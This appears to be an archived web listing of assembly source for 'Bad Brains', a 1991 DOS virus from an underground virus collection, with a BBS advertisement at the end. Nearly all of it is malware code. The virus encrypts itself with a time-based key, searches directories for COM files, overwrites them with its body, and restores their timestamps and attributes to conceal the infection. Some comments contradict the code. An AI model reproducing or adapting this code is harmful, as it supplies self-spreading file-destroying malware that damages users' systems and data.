home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / b / bbrains.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  9.3 KB  |  277 lines

  1. ; HR Virus Strain B-Compacted
  2.  
  3. ; Bad Brains
  4.  
  5. ; Created 8/5/91 by Hellraiser
  6.  
  7. ; Destructive Code - Beware!
  8.  
  9.  
  10.  
  11. fileattr   EQU      21
  12.  
  13. filetime   EQU      22
  14.  
  15. filedate   EQU      24
  16.  
  17. filename   EQU      30
  18.  
  19.  
  20.  
  21. virus_size EQU      554
  22.  
  23. code_start EQU      0100h
  24.  
  25.  
  26.  
  27. code     segment  'code'
  28.  
  29. assume   cs:code,ds:code,es:code
  30.  
  31.          org      code_start
  32.  
  33.  
  34.  
  35. main proc   near
  36.  
  37.  
  38.  
  39. jmp    virus_start
  40.  
  41.  
  42.  
  43. encrypt_val    dw     0000h
  44.  
  45.  
  46.  
  47. virus_start:
  48.  
  49.  
  50.  
  51.      call     encrypt                  ;encrypt/decrypt file
  52.  
  53.      jmp      virus                    ;go to start of code
  54.  
  55.  
  56.  
  57. encrypt:
  58.  
  59.  
  60.  
  61.      push     cx
  62.  
  63.      mov      cx,offset virus_code+virus_size
  64.  
  65.      mov      si,offset virus_code     ;start encryption at data
  66.  
  67.      mov      di,si
  68.  
  69.      cld
  70.  
  71.  
  72.  
  73. xor_loop:
  74.  
  75.  
  76.  
  77.      lodsw
  78.  
  79.      xor      ax,encrypt_val           ;get encryption key
  80.  
  81.      stosw
  82.  
  83.      dec      cx
  84.  
  85.      jcxz     stoppa
  86.  
  87.      jmp      xor_loop
  88.  
  89.  
  90.  
  91. stoppa:
  92.  
  93.  
  94.  
  95.      pop      cx
  96.  
  97.      ret
  98.  
  99.  
  100.  
  101. infectfile:
  102.  
  103.  
  104.  
  105.      mov     dx,code_start             ;where virus starts in memory
  106.  
  107.      mov     bx,handle                 ;load bx with handle
  108.  
  109.      mov     cx,virus_size             ;number of bytes to write
  110.  
  111.      call    encrypt                   ;encrypt file
  112.  
  113.      mov     ax,4000h                  ;write to file
  114.  
  115.      int     21h                       ;
  116.  
  117.      call    encrypt                   ;fix up the mess
  118.  
  119.      ret
  120.  
  121.  
  122.  
  123. virus_code:
  124.  
  125.  
  126.  
  127. vname        db     'SKISM',0
  128.  
  129. wildcards    db     "*",0              ;search for directory argument
  130.  
  131. filespec     db     "*.COM",0          ;search for EXE file argument
  132.  
  133. rootdir      db     "\",0              ;argument for root directory
  134.  
  135. dirdata      db     43 dup (?)         ;holds directory DTA
  136.  
  137. filedata     db     43 dup (?)         ;holds files DTA
  138.  
  139. diskdtaseg   dw     ?                  ;holds disk dta segment
  140.  
  141. diskdtaofs   dw     ?                  ;holds disk dta offset
  142.  
  143. tempofs      dw     ?
  144.  
  145. tempseg      dw     ?
  146.  
  147. drivecode    db     ?                  ;holds drive code
  148.  
  149. currentdir   db     64 dup (?)         ;save current directory into this
  150.  
  151. handle       dw     ?                  ;holds file handle
  152.  
  153. orig_time    dw     ?
  154.  
  155. orig_date    dw     ?
  156.  
  157. orig_attr    dw     ?
  158.  
  159. idbuffer     dw     2 dup  (?)
  160.  
  161.  
  162.  
  163. virus:
  164.  
  165.  
  166.  
  167.       mov    ax,3000h                  ;get dos version
  168.  
  169.       int    21h                       ;
  170.  
  171.       cmp    al,02h                    ;is it at least 2.00?
  172.  
  173.       jb     bus                       ;won't infect less than 3.00
  174.  
  175.       mov    ah,2ch                    ;get time
  176.  
  177.       int    21h                       ;
  178.  
  179.       add    dh,cl                     ;add the two registers
  180.  
  181.       mov    encrypt_val,dx            ;save m_seconds to encrypt val so
  182.  
  183.                                        ;we have up to 65,535 mutations
  184.  
  185.  
  186.  
  187.  
  188.  
  189. setdta:
  190.  
  191.  
  192.  
  193.      mov     dx,offset dirdata         ;offset of where to hold new dta
  194.  
  195.      mov     ah,1ah                    ;set dta address
  196.  
  197.      int     21h                       ;
  198.  
  199.  
  200.  
  201. newdir:
  202.  
  203.  
  204.  
  205.      mov     ah,19h                    ;get drive code
  206.  
  207.      int     21h                       ;
  208.  
  209.      mov     dl,al                     ;save drivecode
  210.  
  211.      inc     dl                        ;add one to dl, because functions differ
  212.  
  213.      mov     ah,47h                    ;get current directory
  214.  
  215.      mov     si, offset currentdir     ;buffer to save directory in
  216.  
  217.      int     21h                       ;
  218.  
  219.  
  220.  
  221.      mov     dx,offset rootdir         ;move dx to change to root directory
  222.  
  223.      mov     ah,3bh                    ;change directory to root
  224.  
  225.      int     21h                       ;
  226.  
  227.  
  228.  
  229. scandirs:
  230.  
  231.  
  232.  
  233.      mov     cx,13h                    ;look for directorys
  234.  
  235.      mov     dx, offset wildcards      ;look for '*'
  236.  
  237.      mov     ah,4eh                    ;find first file
  238.  
  239.      int     21h                       ;
  240.  
  241.      cmp     ax,12h                    ;no first file?
  242.  
  243.      jne     dirloop                   ;no dirs found? bail out
  244.  
  245.  
  246.  
  247. bus:
  248.  
  249.      jmp     abort
  250.  
  251.  
  252.  
  253. copyright  db  'Bad Brains'
  254.  
  255.  
  256.  
  257. dirloop:
  258.  
  259.  
  260.  
  261.      mov     ah,4fh                    ;find next file
  262.  
  263.      int     21h                       ;
  264.  
  265.      cmp     ax,12h
  266.  
  267.      je      quit                      ;no more dirs found, roll out
  268.  
  269.  
  270.  
  271. chdir:
  272.  
  273.  
  274.  
  275.      mov     dx,offset dirdata+filename;point dx to fcb - filename
  276.  
  277.      mov     ah,3bh                    ;change directory
  278.  
  279.      int     21h                       ;
  280.  
  281.  
  282.  
  283.      mov     ah,2fh                    ;get current dta address
  284.  
  285.      int     21h                       ;
  286.  
  287.      mov     [diskdtaseg],es           ;save old segment
  288.  
  289.      mov     [diskdtaofs],bx           ;save old offset
  290.  
  291.      mov     dx,offset filedata        ;offset of where to hold new dta
  292.  
  293.      mov     ah,1ah                    ;set dta address
  294.  
  295.      int     21h                       ;
  296.  
  297.  
  298.  
  299. scandir:
  300.  
  301.  
  302.  
  303.      mov     cx,07h                    ;find any attribute
  304.  
  305.      mov     dx,offset filespec        ;point dx to "*.EXE",0
  306.  
  307.      mov     ah,4eh                    ;find first file function
  308.  
  309.      int     21h                       ;
  310.  
  311.      cmp     ax,12h                    ;was file found?
  312.  
  313.      jne     transform
  314.  
  315.  
  316.  
  317. nextexe:
  318.  
  319.  
  320.  
  321.      mov     ah,4fh                    ;find next file
  322.  
  323.      int     21h                       ;
  324.  
  325.      cmp     ax,12h                    ;none found
  326.  
  327.      jne     transform                 ;found see what we can do
  328.  
  329.  
  330.  
  331.      mov     dx,offset rootdir         ;move dx to change to root directory
  332.  
  333.      mov     ah,3bh                    ;change directory to root
  334.  
  335.      int     21h                       ;
  336.  
  337.      mov     ah,1ah                    ;set dta address
  338.  
  339.      mov     ds,[diskdtaseg]           ;restore old segment
  340.  
  341.      mov     dx,[diskdtaofs]           ;restore old offset
  342.  
  343.      int     21h                       ;
  344.  
  345.      jmp     dirloop
  346.  
  347.  
  348.  
  349. quit:
  350.  
  351.  
  352.  
  353.      jmp     rollout
  354.  
  355.  
  356.  
  357.  
  358.  
  359. transform:
  360.  
  361.  
  362.  
  363.      mov     ah,2fh                    ;temporally store dta
  364.  
  365.      int     21h                       ;
  366.  
  367.      mov     [tempseg],es              ;save old segment
  368.  
  369.      mov     [tempofs],bx              ;save old offset
  370.  
  371.      mov     dx, offset filedata + filename
  372.  
  373.  
  374.  
  375.      mov     bx,offset filedata               ;save file...
  376.  
  377.      mov     ax,[bx]+filedate          ;date
  378.  
  379.      mov     orig_date,ax              ;
  380.  
  381.      mov     ax,[bx]+filetime          ;time
  382.  
  383.      mov     orig_time,ax              ;    and
  384.  
  385.      mov     ax,[bx]+fileattr          ;
  386.  
  387.      mov     ax,4300h
  388.  
  389.      int     21h
  390.  
  391.      mov     orig_attr,cx
  392.  
  393.      mov     ax,4301h                  ;change attributes
  394.  
  395.      xor     cx,cx                     ;clear attributes
  396.  
  397.      int     21h                       ;
  398.  
  399.      mov     ax,3d00h                  ;open file - read
  400.  
  401.      int     21h                       ;
  402.  
  403.      jc      fixup                     ;error - find another file
  404.  
  405.      mov     handle,ax                 ;save handle
  406.  
  407.      mov     ah,3fh                    ;read from file
  408.  
  409.      mov     bx,handle                 ;move handle to bx
  410.  
  411.      mov     cx,02h                    ;read 2 bytes
  412.  
  413.      mov     dx,offset idbuffer        ;save to buffer
  414.  
  415.      int     21h                       ;
  416.  
  417.  
  418.  
  419.      mov     ah,3eh                    ;close file for now
  420.  
  421.      mov     bx,handle                 ;load bx with handle
  422.  
  423.      int     21h                       ;
  424.  
  425.  
  426.  
  427.      mov     bx, idbuffer              ;fill bx with id string
  428.  
  429.      cmp     bx,03ebh                  ;infected?
  430.  
  431.      jne     doit                      ;same - find another file
  432.  
  433.  
  434.  
  435.  
  436.  
  437. fixup:
  438.  
  439.      mov     ah,1ah                    ;set dta address
  440.  
  441.      mov     ds,[tempseg]              ;restore old segment
  442.  
  443.      mov     dx,[tempofs]              ;restore old offset
  444.  
  445.      int     21h                       ;
  446.  
  447.      jmp     nextexe
  448.  
  449.  
  450.  
  451.  
  452.  
  453. doit:
  454.  
  455.  
  456.  
  457.      mov     dx, offset filedata + filename
  458.  
  459.      mov     ax,3d02h                  ;open file read/write access
  460.  
  461.      int     21h                       ;
  462.  
  463.      mov     handle,ax                 ;save handle
  464.  
  465.  
  466.  
  467.      call    infectfile
  468.  
  469.  
  470.  
  471.      ;mov     ax,3eh                    ;close file
  472.  
  473.      ;int     21h
  474.  
  475.  
  476.  
  477. rollout:
  478.  
  479.  
  480.  
  481.      mov     ax,5701h                  ;restore original
  482.  
  483.      mov     bx,handle                 ;
  484.  
  485.      mov     cx,orig_time              ;time and
  486.  
  487.      mov     dx,orig_date              ;date
  488.  
  489.      int     21h                       ;
  490.  
  491.  
  492.  
  493.      mov     ax,4301h                  ;restore original attributes
  494.  
  495.      mov     cx,orig_attr
  496.  
  497.      mov     dx,offset filedata + filename
  498.  
  499.      int     21h
  500.  
  501.      ;mov     bx,handle
  502.  
  503.      ;mov     ax,3eh                   ;close file
  504.  
  505.      ;int     21h
  506.  
  507.      mov     ah,3bh                    ;try to fix this
  508.  
  509.      mov     dx,offset rootdir         ;for speed
  510.  
  511.      int     21h                       ;
  512.  
  513.      mov     ah,3bh                    ;change directory
  514.  
  515.      mov     dx,offset currentdir      ;back to original
  516.  
  517.      int     21h                       ;
  518.  
  519.  
  520.  
  521. Abort:
  522.  
  523.  
  524.  
  525.      mov     ax,4c00h                  ;end program
  526.  
  527.      int     21h                       ;
  528.  
  529.  
  530.  
  531.  
  532.  
  533. main     endp
  534.  
  535. code     ends
  536.  
  537.          end      main
  538.  
  539.  
  540.  
  541. 
  542.  
  543. ; ─────────────────────────────────────────────────────────────────────────
  544.  
  545. ; ────────────────────> and Remember Don't Forget to Call <────────────────
  546.  
  547. ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  548.  
  549. ; ─────────────────────────────────────────────────────────────────────────
  550.  
  551.  
  552.  
  553.